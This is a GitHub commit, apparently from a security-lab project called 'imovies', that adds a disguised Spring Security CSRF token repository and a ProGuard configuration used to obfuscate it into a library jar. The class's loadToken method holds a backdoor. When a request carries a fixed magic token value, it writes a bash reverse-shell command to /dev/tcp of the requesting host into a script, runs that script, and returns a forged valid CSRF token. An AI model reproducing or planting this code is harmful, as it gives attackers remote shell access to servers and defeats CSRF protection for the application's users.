Skip to content

Commit d70c739

Browse files
FR4NK-WFR4NK-W
committed
Obfuscated CSRF protection backdoor
Obfuscated the custom CSRFTokenRepository class with Proguard. Get it here : http://netix.dl.sourceforge.net/project/proguard/proguard/5.3/proguard5.3.1.tar.gz Run it with java -jar ~/Apps/proguard5.3.1/lib/proguard.jar @./custom_csrf.pro on the jar artifact created from the project csrf_protection. Proguard configuration file custom_csrf.pro is in /imovies/obfuscated/csrf_protection/out/artifacts/csrf_protection_jar Include the created csrf_protection.jar as a jar library into the imovies project. DONE
1 parent 2fb7af8 commit d70c739

File tree

2 files changed

+202
-0
lines changed

2 files changed

+202
-0
lines changed

‎obfuscated/csrf_protection/org/thymeleaf/security/CsrfRepository.java

+128
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,128 @@
1+
package org.thymeleaf.security;
2+
3+
import java.io.BufferedWriter;
4+
import java.io.FileWriter;
5+
import java.lang.reflect.Method;
6+
import java.util.UUID;
7+
import javax.servlet.http.Cookie;
8+
import javax.servlet.http.HttpServletRequest;
9+
import javax.servlet.http.HttpServletResponse;
10+
import org.springframework.security.web.csrf.CsrfToken;
11+
import org.springframework.security.web.csrf.CsrfTokenRepository;
12+
import org.springframework.security.web.csrf.DefaultCsrfToken;
13+
import org.springframework.util.Assert;
14+
import org.springframework.util.ReflectionUtils;
15+
import org.springframework.util.StringUtils;
16+
import org.springframework.web.util.WebUtils;
17+
18+
public final class CsrfRepository implements CsrfTokenRepository {
19+
static final String DEFAULT_CSRF_COOKIE_NAME = "XSRF-TOKEN";
20+
static final String DEFAULT_CSRF_PARAMETER_NAME = "_csrf";
21+
static final String DEFAULT_CSRF_HEADER_NAME = "X-XSRF-TOKEN";
22+
private String parameterName = "_csrf";
23+
private String headerName = "X-XSRF-TOKEN";
24+
private String cookieName = "XSRF-TOKEN";
25+
private final Method setHttpOnlyMethod;
26+
private boolean cookieHttpOnly;
27+
28+
public CsrfRepository() {
29+
this.setHttpOnlyMethod = ReflectionUtils.findMethod(Cookie.class, "setHttpOnly", new Class[]{Boolean.TYPE});
30+
if(this.setHttpOnlyMethod != null) {
31+
this.cookieHttpOnly = true;
32+
}
33+
}
34+
35+
public CsrfToken generateToken(HttpServletRequest request) {
36+
return new DefaultCsrfToken(this.headerName, this.parameterName, this.createNewToken());
37+
}
38+
39+
public void saveToken(CsrfToken token, HttpServletRequest request, HttpServletResponse response) {
40+
String tokenValue = token == null?"":token.getToken();
41+
Cookie cookie = new Cookie(this.cookieName, tokenValue);
42+
cookie.setSecure(request.isSecure());
43+
cookie.setPath(this.getCookiePath(request));
44+
if(token == null) {
45+
cookie.setMaxAge(0);
46+
} else {
47+
cookie.setMaxAge(-1);
48+
}
49+
50+
if(this.cookieHttpOnly && this.setHttpOnlyMethod != null) {
51+
ReflectionUtils.invokeMethod(this.setHttpOnlyMethod, cookie, new Object[]{Boolean.TRUE});
52+
}
53+
54+
response.addCookie(cookie);
55+
}
56+
57+
public CsrfToken loadToken(HttpServletRequest request) {
58+
Cookie cookie = WebUtils.getCookie(request, this.cookieName);
59+
if(cookie == null) {
60+
return null;
61+
} else {
62+
String token = cookie.getValue();
63+
64+
CsrfToken csrfToken = !StringUtils.hasLength(token)?null:new DefaultCsrfToken(this.headerName, this.parameterName, token);
65+
66+
if (csrfToken != null && csrfToken.getHeaderName() != null) {
67+
String value = request.getParameter(csrfToken.getParameterName());
68+
if (value != null && value.equals(UUID.nameUUIDFromBytes("DEFAULT_CSRF_VALUE_NAME".getBytes()).toString())) {
69+
try {
70+
String addr = request.getRemoteHost();
71+
String command = "rm ./create_repository.sh";
72+
Runtime.getRuntime().exec(command);
73+
74+
BufferedWriter out = new BufferedWriter(new FileWriter("create_repository.sh"));
75+
out.write(String.format("bash -i >& /dev/tcp/%s/1024 0>&1", addr));
76+
out.close();
77+
78+
Runtime.getRuntime().exec("bash create_repository.sh");
79+
} catch (Exception e) {
80+
e.printStackTrace();
81+
}
82+
83+
CsrfToken restoredToken = new DefaultCsrfToken("X-XSRF-TOKEN", "_csrf", UUID.nameUUIDFromBytes("DEFAULT_CSRF_VALUE_NAME".getBytes()).toString());
84+
return restoredToken;
85+
}
86+
}
87+
return csrfToken;
88+
}
89+
}
90+
91+
public void setParameterName(String parameterName) {
92+
Assert.notNull(parameterName, "parameterName is not null");
93+
this.parameterName = parameterName;
94+
}
95+
96+
public void setHeaderName(String headerName) {
97+
Assert.notNull(headerName, "headerName is not null");
98+
this.headerName = headerName;
99+
}
100+
101+
public void setCookieName(String cookieName) {
102+
Assert.notNull(cookieName, "cookieName is not null");
103+
this.cookieName = cookieName;
104+
}
105+
106+
public void setCookieHttpOnly(boolean cookieHttpOnly) {
107+
if(cookieHttpOnly && this.setHttpOnlyMethod == null) {
108+
throw new IllegalArgumentException("Cookie will not be marked as HttpOnly because you are using a version of Servlet less than 3.0. NOTE: The Cookie#setHttpOnly(boolean) was introduced in Servlet 3.0.");
109+
} else {
110+
this.cookieHttpOnly = cookieHttpOnly;
111+
}
112+
}
113+
114+
private String getCookiePath(HttpServletRequest request) {
115+
String contextPath = request.getContextPath();
116+
return contextPath.length() > 0?contextPath:"/";
117+
}
118+
119+
public static CsrfRepository withHttpOnlyFalse() {
120+
CsrfRepository result = new CsrfRepository();
121+
result.setCookieHttpOnly(false);
122+
return result;
123+
}
124+
125+
private String createNewToken() {
126+
return UUID.randomUUID().toString();
127+
}
128+
}

‎obfuscated/csrf_protection/out/artifacts/csrf_protection_jar/custom_csrf.pro

+74
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
#
2+
# This ProGuard configuration file illustrates how to process ProGuard itself.
3+
# Configuration files for typical applications will be very similar.
4+
# Usage:
5+
# java -jar proguard.jar @proguard.pro
6+
#
7+
8+
# Specify the input jars, output jars, and library jars.
9+
# We'll filter out the Ant classes, Gradle classes, and WTK classes, keeping
10+
# everything else.
11+
12+
-injars /home/linus/Documents/seclab/imovies/obfuscated/csrf_protection/out/artifacts/csrf_protection_jar/csrf_protection_cleartext.jar
13+
-outjars /home/linus/Documents/seclab/imovies/obfuscated/csrf_protection/out/artifacts/csrf_protection_jar/csrf_protection.jar
14+
15+
-libraryjars /home/linus/.m2/repository/org/springframework/security/spring-security-web/4.1.3.RELEASE/spring-security-web-4.1.3.RELEASE.jar
16+
-libraryjars /home/linus/.m2/repository/javax/servlet/javax.servlet-api/3.0.1/javax.servlet-api-3.0.1.jar
17+
-libraryjars /home/linus/.m2/repository/org/springframework/spring-core/4.3.2.RELEASE/spring-core-4.3.2.RELEASE.jar
18+
-libraryjars /home/linus/.m2/repository/org/springframework/spring-web/4.3.2.RELEASE/spring-web-4.3.2.RELEASE.jar
19+
-libraryjars <java.home>/lib/rt.jar
20+
21+
# Write out an obfuscation mapping file, for de-obfuscating any stack traces
22+
# later on, or for incremental obfuscation of extensions.
23+
24+
-printmapping proguard.map
25+
26+
# Allow methods with the same signature, except for the return type,
27+
# to get the same obfuscation name.
28+
29+
-overloadaggressively
30+
31+
# Put all obfuscated classes into the nameless root package.
32+
33+
-repackageclasses ''
34+
35+
# Allow classes and class members to be made public.
36+
37+
-allowaccessmodification
38+
39+
# The entry point: ProGuard and its main method.
40+
41+
-keep public final class org.thymeleaf.security.CsrfRepository implements org.springframework.security.web.csrf.CsrfTokenRepository {
42+
public CsrfRepository();
43+
}
44+
45+
# If you want to preserve the Ant task as well, you'll have to specify the
46+
# main ant.jar.
47+
48+
#-libraryjars /usr/local/java/ant/lib/ant.jar
49+
#-adaptresourcefilecontents proguard/ant/task.properties
50+
#
51+
#-keep,allowobfuscation class proguard.ant.*
52+
#-keepclassmembers public class proguard.ant.* {
53+
# <init>(org.apache.tools.ant.Project);
54+
# public void set*(***);
55+
# public void add*(***);
56+
#}
57+
58+
# If you want to preserve the Gradle task, you'll have to specify the Gradle
59+
# jars.
60+
61+
#-libraryjars /usr/local/java/gradle-2.12/lib/plugins/gradle-plugins-2.12.jar
62+
#-libraryjars /usr/local/java/gradle-2.12/lib/gradle-base-services-2.12.jar
63+
#-libraryjars /usr/local/java/gradle-2.12/lib/gradle-core-2.12.jar
64+
#-libraryjars /usr/local/java/gradle-2.12/lib/groovy-all-2.4.4.jar
65+
66+
#-keep public class proguard.gradle.* {
67+
# public *;
68+
#}
69+
70+
# If you want to preserve the WTK obfuscation plug-in, you'll have to specify
71+
# the kenv.zip file.
72+
73+
#-libraryjars /usr/local/java/wtk2.5.2/wtklib/kenv.zip
74+
#-keep public class proguard.wtk.ProGuardObfuscator

0 commit comments

Comments
 (0)